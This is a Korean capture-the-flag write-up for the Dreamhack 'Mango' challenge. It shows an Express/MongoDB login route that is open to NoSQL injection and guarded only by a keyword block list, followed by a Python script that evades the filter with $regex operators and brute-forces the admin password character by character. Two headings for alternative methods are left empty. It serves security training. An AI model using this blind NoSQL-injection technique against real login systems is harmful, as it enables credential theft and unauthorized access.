[Dreamhack] Mango

문제정보
이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다.
플래그는 admin 계정의 비밀번호 입니다.
플래그의 형식은 DH{…} 입니다.
{‘uid’: ‘admin’, ‘upw’: ‘DH{32alphanumeric}’}

 

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

 

import requests
import string

URL = 'http://host3.dreamhack.games:18206'
flag_set = string.ascii_letters + string.digits
flag = ''

for i in range(32):
    for ch in flag_set:
        response = requests.get(f'{URL}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == 'admin':
            flag += ch
            break
    print(f'DH{{{flag}}}')

 

 

방법 2)

 

방법 3)